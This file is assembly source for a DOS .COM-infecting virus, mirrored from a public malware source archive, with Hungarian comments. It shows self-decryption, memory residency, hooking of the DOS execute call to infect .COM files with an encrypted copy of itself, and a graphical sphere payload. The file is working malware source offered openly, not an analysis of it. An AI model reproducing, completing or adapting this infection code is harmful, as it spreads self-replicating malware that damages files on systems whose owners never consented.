mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
896 lines
31 KiB
NASM
896 lines
31 KiB
NASM
|
CODE segment para public 'code'
|
|||
|
|
assume cs:code,ds:code,es:nothing,ss:nothing
|
|||
|
|
|
|||
|
|
org 100h
|
|||
|
|
|
|||
|
|
egy equ 1 ; one
|
|||
|
|
dma equ 0b0h
|
|||
|
|
atvar equ 300 ; at paramaeter
|
|||
|
|
xtvar equ 1 ; xt parameter
|
|||
|
|
suruseg equ 255 ; density
|
|||
|
|
idotartalek equ 18*30 ; time delay
|
|||
|
|
|
|||
|
|
start: db 0e9h,0,0
|
|||
|
|
;##################### Initialization ######################
|
|||
|
|
resid: push ax
|
|||
|
|
mov cx,offset memory - offset begin ;#### decoding ####
|
|||
|
|
mov bx,ds:[101h]
|
|||
|
|
add bx,103h+(offset begin-offset resid)
|
|||
|
|
jhg1: xor byte ptr [bx],0
|
|||
|
|
inc bx
|
|||
|
|
loop jhg1
|
|||
|
|
|
|||
|
|
begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin)
|
|||
|
|
mov cs:[0feh],bx
|
|||
|
|
mov ax,[bx+(offset eltarol-offset resid)]
|
|||
|
|
mov cl,[bx+(offset eltarol-offset resid)+2]
|
|||
|
|
mov ds:[100h],ax
|
|||
|
|
mov ds:[102h],cl
|
|||
|
|
mov cx,0b800h
|
|||
|
|
mov ah,15
|
|||
|
|
push bx
|
|||
|
|
int 10h
|
|||
|
|
pop bx
|
|||
|
|
cmp al,7
|
|||
|
|
jne rety
|
|||
|
|
mov ch,0b0h
|
|||
|
|
rety: mov [bx+(offset ruut - offset resid)+1],cx
|
|||
|
|
mov word ptr [bx+(offset counter-offset resid)],idotartalek
|
|||
|
|
mov byte ptr [bx+(offset jammed-offset resid)+1],al
|
|||
|
|
mov byte ptr [bx+(offset vanesik-offset resid)],0
|
|||
|
|
xor ax,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
cmp word ptr ds:[130h],4142h
|
|||
|
|
je zipp
|
|||
|
|
mov ds:[130h],4142h
|
|||
|
|
mov ax,cs
|
|||
|
|
dec ax
|
|||
|
|
mov ds,ax
|
|||
|
|
mov ax,ds:[3]
|
|||
|
|
sub ax,180h
|
|||
|
|
mov ds:[3],ax
|
|||
|
|
add ax,ds:[1]
|
|||
|
|
mov es,ax
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
sub word ptr ds:[2],384
|
|||
|
|
mov di,3
|
|||
|
|
mov si,bx
|
|||
|
|
mov cx,(offset memory-offset resid) shr 1 +1
|
|||
|
|
cld
|
|||
|
|
rep movsw
|
|||
|
|
mov ax,es
|
|||
|
|
sub ax,10h
|
|||
|
|
mov ds,ax
|
|||
|
|
mov dx,offset irq
|
|||
|
|
mov ax,251ch
|
|||
|
|
int 21h
|
|||
|
|
mov ah,2ah
|
|||
|
|
int 21h
|
|||
|
|
cmp al,1
|
|||
|
|
jne zipp
|
|||
|
|
dec al
|
|||
|
|
out 0a0h,al
|
|||
|
|
mov al,dma
|
|||
|
|
out 41h,al
|
|||
|
|
zipp:
|
|||
|
|
mov ax,cs
|
|||
|
|
mov ds,ax
|
|||
|
|
mov es,ax
|
|||
|
|
pop ax
|
|||
|
|
push cs
|
|||
|
|
mov cx,100h
|
|||
|
|
push cx
|
|||
|
|
mov cx,ds:[0feh]
|
|||
|
|
sub cx,100h
|
|||
|
|
retf
|
|||
|
|
eltarol dw 20cdh
|
|||
|
|
eltarol2 db 90h
|
|||
|
|
|
|||
|
|
;######################### Vyrus activated ##########################
|
|||
|
|
csik: mov ax,0e000h
|
|||
|
|
mov ds,ax
|
|||
|
|
csiky: mov ds:[0],al
|
|||
|
|
inc al
|
|||
|
|
jmp csiky
|
|||
|
|
|
|||
|
|
;######################### propagation part ##########################
|
|||
|
|
|
|||
|
|
eredeti: db 0eah ; original
|
|||
|
|
int211 dw 0
|
|||
|
|
int212 dw 0
|
|||
|
|
counter dw 0
|
|||
|
|
szaporodas: cmp ah,4bh
|
|||
|
|
jne eredeti
|
|||
|
|
or al,al
|
|||
|
|
jnz eredeti
|
|||
|
|
push ax
|
|||
|
|
push es
|
|||
|
|
push bx
|
|||
|
|
push ds
|
|||
|
|
push dx
|
|||
|
|
mov bx,dx
|
|||
|
|
koj: inc bx
|
|||
|
|
cmp byte ptr [bx],'.'
|
|||
|
|
jne koj
|
|||
|
|
cmp byte ptr[bx+1],'C'
|
|||
|
|
jne kiugras1
|
|||
|
|
mov cs:kds,ds
|
|||
|
|
mov cs:kdx,dx
|
|||
|
|
mov cs:kbx,bx
|
|||
|
|
call probe
|
|||
|
|
kiugras1: pop dx
|
|||
|
|
pop ds
|
|||
|
|
pop bx
|
|||
|
|
pop es
|
|||
|
|
pop ax
|
|||
|
|
jmp eredeti
|
|||
|
|
kds dw 0
|
|||
|
|
kdx dw 0
|
|||
|
|
kbx dw 0
|
|||
|
|
kkk dw 0
|
|||
|
|
fszam dw 0
|
|||
|
|
probe: push cs
|
|||
|
|
pop es
|
|||
|
|
mov di,offset memory
|
|||
|
|
mov si,dx
|
|||
|
|
mov cx,40
|
|||
|
|
cld
|
|||
|
|
rep movsw
|
|||
|
|
mov bx,0ff0h
|
|||
|
|
mov ah,48h
|
|||
|
|
int 21h
|
|||
|
|
jnc juk1
|
|||
|
|
ret
|
|||
|
|
;!!!!! memoria lefoglalva (kkk = Seg)
|
|||
|
|
atr dw 0
|
|||
|
|
juk1: mov cs:kkk,ax
|
|||
|
|
mov dx,offset memory
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
mov bx,cs:kbx
|
|||
|
|
mov byte ptr [bx+1],'A' ;<3B>
|
|||
|
|
call elorutin
|
|||
|
|
push cs
|
|||
|
|
pop ds ;DS:DX a masolt nev.
|
|||
|
|
mov ax,4300h
|
|||
|
|
int 21h
|
|||
|
|
mov atr,cx
|
|||
|
|
xor cx,cx
|
|||
|
|
mov ax,4301h
|
|||
|
|
int 21h
|
|||
|
|
;!!!!! Attr allitas
|
|||
|
|
cmp cs:attrflag,0
|
|||
|
|
jz juk2
|
|||
|
|
mov ds,cs:kds
|
|||
|
|
jmp memoff
|
|||
|
|
juk2: mov di,kdx ;ES:DI a regi nev atirva
|
|||
|
|
mov ah,56h
|
|||
|
|
int 21h
|
|||
|
|
call utorutin ;!!!!! Atnevezve
|
|||
|
|
mov dx,cs:kdx
|
|||
|
|
push es
|
|||
|
|
pop ds
|
|||
|
|
mov ax,3d02h
|
|||
|
|
int 21h ;!!!!! File megnyitva
|
|||
|
|
mov cs:fszam,ax
|
|||
|
|
mov ds,cs:kkk
|
|||
|
|
xor dx,dx
|
|||
|
|
mov bx,ax
|
|||
|
|
mov cx,0fc00h-(offset memory-offset resid)
|
|||
|
|
mov ah,3fh
|
|||
|
|
int 21h
|
|||
|
|
cmp ax,0fc00h-(offset memory-offset resid)
|
|||
|
|
;!!!!! Beolvasva a program (csak a hossza miatt)
|
|||
|
|
je hosszu ;zarjuk le a file-t
|
|||
|
|
cmp ax,7580
|
|||
|
|
jb hosszu ;tul rovid a file
|
|||
|
|
mov di,ax
|
|||
|
|
|
|||
|
|
mov bx,ds:[1]
|
|||
|
|
cmp word ptr [bx+3],0b950h
|
|||
|
|
|
|||
|
|
;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$
|
|||
|
|
|
|||
|
|
je hosszu
|
|||
|
|
push di
|
|||
|
|
mov cx,(offset memory-offset resid)
|
|||
|
|
mov si,offset resid
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
inc byte ptr ds:[offset jhg1 +2]
|
|||
|
|
mov ax,es:[0]
|
|||
|
|
mov eltarol,ax
|
|||
|
|
mov al,es:[2]
|
|||
|
|
mov eltarol2,al
|
|||
|
|
rep movsw ;!!!!! Atmasolva (hehe)
|
|||
|
|
mov al,byte ptr ds:[offset jhg1 +2]
|
|||
|
|
pop di
|
|||
|
|
add di,(offset begin-offset resid)
|
|||
|
|
mov cx,offset memory - offset begin ;#### coding ####
|
|||
|
|
jhga: xor byte ptr es:[di],al
|
|||
|
|
inc di
|
|||
|
|
loop jhga
|
|||
|
|
sub di,(offset memory - offset resid)
|
|||
|
|
push di ;Az ugrasi hely
|
|||
|
|
mov bx,fszam
|
|||
|
|
mov cx,offset memory - offset begin
|
|||
|
|
mov dx,di
|
|||
|
|
push es
|
|||
|
|
pop ds
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21h
|
|||
|
|
pop di
|
|||
|
|
cmp ax,offset memory - offset begin
|
|||
|
|
je ghj1
|
|||
|
|
hosszu: jmp zardle
|
|||
|
|
ghj1: ;!!!!! Kiirva a vege
|
|||
|
|
mov byte ptr ds:[0],0e9h
|
|||
|
|
sub di,3
|
|||
|
|
mov ds:[1],di
|
|||
|
|
mov bx,cs:fszam
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
mov ax,4200h
|
|||
|
|
push bx
|
|||
|
|
int 21h
|
|||
|
|
pop bx
|
|||
|
|
mov cx,3
|
|||
|
|
xor dx,dx
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21h
|
|||
|
|
zardle: mov bx,cs:fszam
|
|||
|
|
mov ah,3eh
|
|||
|
|
int 21h ;!!!!! File lezarva
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
mov di,offset memory
|
|||
|
|
mov ds,cs:kds
|
|||
|
|
mov dx,cs:kdx
|
|||
|
|
mov ah,56h
|
|||
|
|
int 21h ;!!!!! File visszanevezve
|
|||
|
|
mov bx,cs:kbx
|
|||
|
|
mov byte ptr ds:[bx+1],'C'
|
|||
|
|
mov ax,4301h
|
|||
|
|
mov cx,cs:atr
|
|||
|
|
int 21h ;!!!!! attr visszaall
|
|||
|
|
memoff: mov bx,cs:kbx
|
|||
|
|
mov byte ptr ds:[bx+1],'C'
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov es,cs:kkk
|
|||
|
|
mov ah,49h
|
|||
|
|
int 21h ;!!!!! Memoria visszaalt
|
|||
|
|
ret
|
|||
|
|
it241 dw 0
|
|||
|
|
it242 dw 0
|
|||
|
|
attrflag db 0
|
|||
|
|
|
|||
|
|
elorutin: mov cs:attrflag,0
|
|||
|
|
xor ax,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
mov ax,ds:[90h]
|
|||
|
|
mov cs:it241,ax
|
|||
|
|
mov ax,ds:[92h]
|
|||
|
|
mov cs:it242,ax
|
|||
|
|
mov ds:[90h],offset it24
|
|||
|
|
mov ds:[92h],cs
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
utorutin: xor ax,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
mov ax,cs:it241
|
|||
|
|
mov ds:[90h],ax
|
|||
|
|
mov ax,cs:it242
|
|||
|
|
mov ds:[92h],ax
|
|||
|
|
ret
|
|||
|
|
it24: mov cs:attrflag,1
|
|||
|
|
xor al,al
|
|||
|
|
iret
|
|||
|
|
vanesik db 0
|
|||
|
|
irq: cli
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
cmp cs:counter,0
|
|||
|
|
je sabad
|
|||
|
|
dec cs:counter
|
|||
|
|
jne sabad
|
|||
|
|
xor ax,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
mov ax,ds:[84h]
|
|||
|
|
mov cs:int211,ax
|
|||
|
|
mov ax,ds:[86h]
|
|||
|
|
mov cs:int212,ax
|
|||
|
|
mov ds:[84h],offset szaporodas
|
|||
|
|
mov ds:[86h],cs
|
|||
|
|
sabad: cmp cs:vanesik,0
|
|||
|
|
je keress
|
|||
|
|
call idovan
|
|||
|
|
jmp jumper
|
|||
|
|
keress: call ruut
|
|||
|
|
jumper: pop di
|
|||
|
|
pop si
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
idovan: xor ah,ah
|
|||
|
|
int 1ah
|
|||
|
|
and dx,suruseg
|
|||
|
|
jne rutyi
|
|||
|
|
call action
|
|||
|
|
rutyi: ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
ruut: mov ax,0b800h
|
|||
|
|
mov es,ax
|
|||
|
|
mov di,cs:did
|
|||
|
|
mov cx,512
|
|||
|
|
cld
|
|||
|
|
poke: jcxz huy
|
|||
|
|
mov al,'E'
|
|||
|
|
repnz scasb
|
|||
|
|
jz talalt
|
|||
|
|
huy: cmp di,4095
|
|||
|
|
jb kisebb
|
|||
|
|
mov cs:did,0
|
|||
|
|
ret
|
|||
|
|
kisebb: add cs:did,512
|
|||
|
|
ret
|
|||
|
|
did dw 0
|
|||
|
|
talalt: test di,1
|
|||
|
|
jz poke
|
|||
|
|
mov dl,es:[di+1]
|
|||
|
|
mov dh,es:[di+3]
|
|||
|
|
or dx,2020h
|
|||
|
|
cmp dx,6973h ;'is'
|
|||
|
|
jne poke
|
|||
|
|
mov bl,es:[di+5]
|
|||
|
|
or bl,20h
|
|||
|
|
cmp bl,'k'
|
|||
|
|
jne poke
|
|||
|
|
mov cs:vanesik,1
|
|||
|
|
jmp huy
|
|||
|
|
action: mov ax,cs
|
|||
|
|
mov ds,ax
|
|||
|
|
mov es,ax
|
|||
|
|
mov vanesik,0
|
|||
|
|
mov pontszam,1
|
|||
|
|
mov si,offset zizi
|
|||
|
|
mov di,offset novi
|
|||
|
|
cld
|
|||
|
|
mov cx,6
|
|||
|
|
rep movsw
|
|||
|
|
call zoldseg
|
|||
|
|
jammed: mov ax,3
|
|||
|
|
int 10h
|
|||
|
|
cmp counterr,atvar
|
|||
|
|
jne fdr
|
|||
|
|
push cs
|
|||
|
|
pop es
|
|||
|
|
lea bx,mess
|
|||
|
|
mov ax,1301h
|
|||
|
|
mov bx,1
|
|||
|
|
xor dx,dx
|
|||
|
|
mov cx,offset drt-offset mess
|
|||
|
|
int 10h
|
|||
|
|
fdr: ret
|
|||
|
|
|
|||
|
|
counterr dw 0
|
|||
|
|
zoldseg: cli
|
|||
|
|
mov di,offset memory
|
|||
|
|
xor ax,ax
|
|||
|
|
cld
|
|||
|
|
mov cx,200*3
|
|||
|
|
rep stosw
|
|||
|
|
mov ah,0c0h
|
|||
|
|
mov si,3333h
|
|||
|
|
int 15h
|
|||
|
|
cmp si,3333h
|
|||
|
|
mov ax,xtvar
|
|||
|
|
je xt
|
|||
|
|
mov ax,atvar
|
|||
|
|
xt: mov counterr,ax
|
|||
|
|
mov ax,3502h
|
|||
|
|
int 21h
|
|||
|
|
cmp bx,0e9eh
|
|||
|
|
jne ibm
|
|||
|
|
call init1
|
|||
|
|
mov pontm,100
|
|||
|
|
mov port,22h
|
|||
|
|
jmp entry
|
|||
|
|
ibm: ;Ibm bulik
|
|||
|
|
mov pontm,200
|
|||
|
|
mov al,70h
|
|||
|
|
mov port,60h ;%
|
|||
|
|
mov ah,15
|
|||
|
|
int 10h
|
|||
|
|
cmp al,7
|
|||
|
|
jne cga
|
|||
|
|
call init3
|
|||
|
|
jmp entry
|
|||
|
|
cga: call init2
|
|||
|
|
jmp entry
|
|||
|
|
port dw 22h
|
|||
|
|
pontm dw 100
|
|||
|
|
|
|||
|
|
init1: mov ax,200h
|
|||
|
|
mov es,ax
|
|||
|
|
xor di,di
|
|||
|
|
mov cx,4000h
|
|||
|
|
cld
|
|||
|
|
xor ax,ax
|
|||
|
|
rep stosw
|
|||
|
|
mov plotdw,offset plot
|
|||
|
|
mov unplotdw,offset unplot
|
|||
|
|
ret
|
|||
|
|
init2: mov ax,0b800h
|
|||
|
|
mov es,ax
|
|||
|
|
mov ax,6
|
|||
|
|
int 10h
|
|||
|
|
mov plotdw,offset plotcga
|
|||
|
|
mov unplotdw,offset unplotcga
|
|||
|
|
ret
|
|||
|
|
init3: mov ax,0b000h
|
|||
|
|
mov es,ax
|
|||
|
|
call prog
|
|||
|
|
mov plotdw,offset plotherc
|
|||
|
|
mov unplotdw,offset unplotcga
|
|||
|
|
ret
|
|||
|
|
prog: mov dx,3bfh
|
|||
|
|
mov al,3
|
|||
|
|
out dx,al
|
|||
|
|
mov al,28h
|
|||
|
|
mov dx,3b8h
|
|||
|
|
out dx,al
|
|||
|
|
mov ah,0
|
|||
|
|
mov cx,12
|
|||
|
|
lea bx,ports
|
|||
|
|
lopi1: mov dx,03b4h
|
|||
|
|
mov al,ah
|
|||
|
|
out dx,al
|
|||
|
|
inc ah
|
|||
|
|
mov dx,03b5h
|
|||
|
|
mov al,[bx]
|
|||
|
|
out dx,al
|
|||
|
|
inc bx
|
|||
|
|
loop lopi1
|
|||
|
|
|
|||
|
|
mov dx,3bfh
|
|||
|
|
mov al,3
|
|||
|
|
out dx,al
|
|||
|
|
mov dx,3b8h
|
|||
|
|
mov al,0ah
|
|||
|
|
out dx,al
|
|||
|
|
xor di,di
|
|||
|
|
mov cx,4000h
|
|||
|
|
xor ax,ax
|
|||
|
|
cld
|
|||
|
|
rep stosw
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0
|
|||
|
|
|
|||
|
|
;**************************** Forgatorutin ************************************
|
|||
|
|
|
|||
|
|
even
|
|||
|
|
sina dw 0
|
|||
|
|
cosa dw 0 ;si-t meghagyja
|
|||
|
|
sinb dw 0
|
|||
|
|
cosb dw 0
|
|||
|
|
pontszam dw 1
|
|||
|
|
transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB
|
|||
|
|
; add bx,ytol ;ez itt jolesz
|
|||
|
|
shl di,1
|
|||
|
|
shl bx,1 ;X es Y elokeszitese a szorzashoz
|
|||
|
|
mov ax,di
|
|||
|
|
imul cosa
|
|||
|
|
mov bp,dx
|
|||
|
|
mov ax,bx
|
|||
|
|
imul sina
|
|||
|
|
add bp,dx ; bp=X' = cosa*X + sina*Y
|
|||
|
|
mov ax,bx
|
|||
|
|
imul cosa
|
|||
|
|
mov bx,dx
|
|||
|
|
mov ax,di
|
|||
|
|
imul sina
|
|||
|
|
sub bx,dx ; bx=Y' = cosa*X - sina*Y
|
|||
|
|
shl bp,1
|
|||
|
|
shl cx,1 ;X' es Z elokeszitese
|
|||
|
|
mov ax,bp
|
|||
|
|
imul cosb
|
|||
|
|
mov di,dx
|
|||
|
|
mov ax,cx
|
|||
|
|
imul sinb
|
|||
|
|
sub di,dx ; di=X'' = cosb*X' - sinb*Z
|
|||
|
|
mov cx,di
|
|||
|
|
mov ax,bx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
comment @
|
|||
|
|
mov ax,cx
|
|||
|
|
imul cosb
|
|||
|
|
mov cx,dx
|
|||
|
|
mov ax,bp
|
|||
|
|
imul sinb
|
|||
|
|
add cx,dx ; cx=Z'' = cosb*Z = sinb*X'
|
|||
|
|
|
|||
|
|
; out: di=X'' bx=Y'' cx=Z''
|
|||
|
|
mov dx,keptav
|
|||
|
|
;****************************** PERSPEKTIVA **********************************
|
|||
|
|
mov ax,di
|
|||
|
|
shl ax,1
|
|||
|
|
imul tavol
|
|||
|
|
mov cx,dx
|
|||
|
|
mov ax,bx
|
|||
|
|
shl ax,1
|
|||
|
|
imul tavol
|
|||
|
|
mov ax,dx
|
|||
|
|
ret ; ki : CX=X' AX=Y'
|
|||
|
|
|
|||
|
|
@
|
|||
|
|
|
|||
|
|
plotherc: ; al=y cx=x
|
|||
|
|
xor ah,ah
|
|||
|
|
mov dx,ax
|
|||
|
|
shr dx,1
|
|||
|
|
add ax,dx
|
|||
|
|
mov dx,cx
|
|||
|
|
mov cl,al
|
|||
|
|
and cl,3
|
|||
|
|
shr ax,1
|
|||
|
|
shr al,1
|
|||
|
|
mov di,2000h
|
|||
|
|
shl di,cl
|
|||
|
|
mov cl,90
|
|||
|
|
mul cl
|
|||
|
|
add di,ax
|
|||
|
|
mov ax,dx
|
|||
|
|
mov cx,dx
|
|||
|
|
jmp ezisi
|
|||
|
|
plotcga: xor di,di
|
|||
|
|
shr ax,1
|
|||
|
|
jnc tryp
|
|||
|
|
mov di,2000h
|
|||
|
|
tryp: mov dl,80
|
|||
|
|
mul dl
|
|||
|
|
add di,ax
|
|||
|
|
mov ax,cx
|
|||
|
|
ezisi: shr ax,1
|
|||
|
|
shr ax,1
|
|||
|
|
shr ax,1
|
|||
|
|
add di,ax
|
|||
|
|
and cl,7
|
|||
|
|
mov al,128
|
|||
|
|
shr al,cl
|
|||
|
|
or es:[di],al
|
|||
|
|
jmp ezis1
|
|||
|
|
|
|||
|
|
unplotcga: mov al,[bx]
|
|||
|
|
mov di,[bx+1]
|
|||
|
|
xor al,255
|
|||
|
|
and es:[di],al
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
plot: ;AL = y koord. cx = x koord.
|
|||
|
|
mov dl,160
|
|||
|
|
mul dl
|
|||
|
|
mov di,ax
|
|||
|
|
mov ax,cx
|
|||
|
|
shr ax,1
|
|||
|
|
shr ax,1
|
|||
|
|
add di,ax
|
|||
|
|
and di,-2
|
|||
|
|
and cl,7
|
|||
|
|
mov al,128
|
|||
|
|
shr al,cl
|
|||
|
|
or es:[di+egy],al
|
|||
|
|
ezis1: mov [bx],al
|
|||
|
|
inc bx
|
|||
|
|
mov [bx],di
|
|||
|
|
add bx,2
|
|||
|
|
ret
|
|||
|
|
unplot: mov al,[bx]
|
|||
|
|
mov di,[bx+1]
|
|||
|
|
xor al,255
|
|||
|
|
and es:[di+egy],al
|
|||
|
|
ret
|
|||
|
|
kezdfazisrajz: mov bx,offset memory
|
|||
|
|
mov si,offset gombdata
|
|||
|
|
mov cx,pontszam
|
|||
|
|
ck1: push cx
|
|||
|
|
lodsw
|
|||
|
|
mov cx,ax
|
|||
|
|
shl cx,1
|
|||
|
|
add cx,320
|
|||
|
|
lodsw
|
|||
|
|
add si,2
|
|||
|
|
add ax,50
|
|||
|
|
call word ptr [plotdw]
|
|||
|
|
pop cx
|
|||
|
|
loop ck1
|
|||
|
|
ret
|
|||
|
|
indy db 0
|
|||
|
|
|
|||
|
|
fazisrajz: mov bx,offset memory
|
|||
|
|
mov si,offset gombdata
|
|||
|
|
mov cx,pontszam
|
|||
|
|
mov indy,1
|
|||
|
|
ck12: push cx
|
|||
|
|
call word ptr [unplotdw]
|
|||
|
|
push bx
|
|||
|
|
lodsw
|
|||
|
|
mov di,ax
|
|||
|
|
lodsw
|
|||
|
|
mov bx,ax
|
|||
|
|
lodsw
|
|||
|
|
mov cx,ax
|
|||
|
|
call transzform
|
|||
|
|
pop bx
|
|||
|
|
add ax,50
|
|||
|
|
mov di,bxpo
|
|||
|
|
add al,[di]
|
|||
|
|
shl cx,1
|
|||
|
|
add cx,bxpo2
|
|||
|
|
cmp indy,0
|
|||
|
|
je ruty
|
|||
|
|
mov indy,0
|
|||
|
|
cmp karal2,0
|
|||
|
|
jne ruty
|
|||
|
|
push cx
|
|||
|
|
push ax
|
|||
|
|
inc cx
|
|||
|
|
call word ptr [plotdw]
|
|||
|
|
pop ax
|
|||
|
|
pop cx
|
|||
|
|
sub bx,3
|
|||
|
|
ruty: call word ptr [plotdw]
|
|||
|
|
pop cx
|
|||
|
|
loop ck12
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
novpont: mov ax,pontm
|
|||
|
|
cmp pontszam,ax
|
|||
|
|
je trew
|
|||
|
|
mov cx,pontm
|
|||
|
|
sub cx,pontszam
|
|||
|
|
mov ch,cl
|
|||
|
|
shR cx,1
|
|||
|
|
shr cx,1
|
|||
|
|
yut: loop yut
|
|||
|
|
inc pontszam
|
|||
|
|
ret
|
|||
|
|
trew: call movie
|
|||
|
|
mov bx,bxpo
|
|||
|
|
cmp bx,offset patt
|
|||
|
|
je valto
|
|||
|
|
cmp bx,offset patt+29
|
|||
|
|
je valto
|
|||
|
|
iuy: add bx,novi
|
|||
|
|
mov bxpo,bx
|
|||
|
|
ret
|
|||
|
|
valto: neg novi
|
|||
|
|
jmp iuy
|
|||
|
|
novi dw -1
|
|||
|
|
bxpo dw offset patt
|
|||
|
|
bxpo2 dw 320
|
|||
|
|
novi2 dw 4
|
|||
|
|
karal dw 300
|
|||
|
|
karal2 dw 600
|
|||
|
|
zizi dw -1,offset patt,320,4,300,600
|
|||
|
|
movie: cmp karal,0
|
|||
|
|
je jesty
|
|||
|
|
dec karal
|
|||
|
|
ret
|
|||
|
|
jesty: cmp karal2,0
|
|||
|
|
je jesty2
|
|||
|
|
dec karal2
|
|||
|
|
jesty2: mov bx,bxpo2
|
|||
|
|
cmp bx,100
|
|||
|
|
je valto2
|
|||
|
|
cmp bx,540
|
|||
|
|
je valto2
|
|||
|
|
iuy2: add bx,novi2
|
|||
|
|
mov bxpo2,bx
|
|||
|
|
ret
|
|||
|
|
valto2: neg novi2
|
|||
|
|
jmp iuy2
|
|||
|
|
elokesz: call novpont
|
|||
|
|
mov bl,szogx
|
|||
|
|
xor bh,bh
|
|||
|
|
shl bx,1
|
|||
|
|
mov ax,sintabl[bx]
|
|||
|
|
mov sina,ax
|
|||
|
|
mov ax,costabl[bx]
|
|||
|
|
mov cosa,ax
|
|||
|
|
mov bl,szogy
|
|||
|
|
xor bh,bh
|
|||
|
|
shl bx,1
|
|||
|
|
mov ax,sintabl[bx]
|
|||
|
|
mov sinb,ax
|
|||
|
|
mov ax,costabl[bx]
|
|||
|
|
mov cosb,ax
|
|||
|
|
mov al,szogxvalt
|
|||
|
|
add szogx,al
|
|||
|
|
mov al,szogyvalt
|
|||
|
|
add szogy,al
|
|||
|
|
ret
|
|||
|
|
even
|
|||
|
|
szogx db 0
|
|||
|
|
szogy db 0
|
|||
|
|
szogxvalt db 2
|
|||
|
|
szogyvalt db 5
|
|||
|
|
tavol dw 32767
|
|||
|
|
|
|||
|
|
phase: call elokesz
|
|||
|
|
call fazisrajz
|
|||
|
|
ret
|
|||
|
|
entry: call kezdfazisrajz
|
|||
|
|
rajta1: call phase
|
|||
|
|
cmp pontm,100
|
|||
|
|
je apc
|
|||
|
|
cmp byte ptr ds:[offset ruut +2],0b8h
|
|||
|
|
je ccggaa
|
|||
|
|
mov cx,counterr
|
|||
|
|
mov dx,3bah
|
|||
|
|
qaz1: in al,dx
|
|||
|
|
and al,1
|
|||
|
|
jnz qaz1
|
|||
|
|
qaz2: in al,dx
|
|||
|
|
and al,1
|
|||
|
|
jz qaz2
|
|||
|
|
loop qaz1
|
|||
|
|
jmp apc
|
|||
|
|
ccggaa: mov dx,3dah
|
|||
|
|
qaz3: in al,dx
|
|||
|
|
and al,8
|
|||
|
|
jnz qaz3
|
|||
|
|
qaz4: in al,dx
|
|||
|
|
and al,8
|
|||
|
|
jz qaz4
|
|||
|
|
apc: mov dx,port
|
|||
|
|
in al,dx
|
|||
|
|
and al,1
|
|||
|
|
jz rajta1
|
|||
|
|
ret
|
|||
|
|
even
|
|||
|
|
plotdw dw 0
|
|||
|
|
unplotdw dw 0
|
|||
|
|
|
|||
|
|
sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393
|
|||
|
|
dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279
|
|||
|
|
dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519
|
|||
|
|
dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811
|
|||
|
|
dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898
|
|||
|
|
dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580
|
|||
|
|
dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728
|
|||
|
|
dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
|
|||
|
|
dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273
|
|||
|
|
dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790
|
|||
|
|
dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005
|
|||
|
|
dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151
|
|||
|
|
dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512
|
|||
|
|
dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410
|
|||
|
|
dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808
|
|||
|
|
dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
|
|||
|
|
dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204
|
|||
|
|
dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731
|
|||
|
|
dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105
|
|||
|
|
dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113
|
|||
|
|
dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609
|
|||
|
|
dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521
|
|||
|
|
dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852
|
|||
|
|
dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683
|
|||
|
|
dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170
|
|||
|
|
dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530
|
|||
|
|
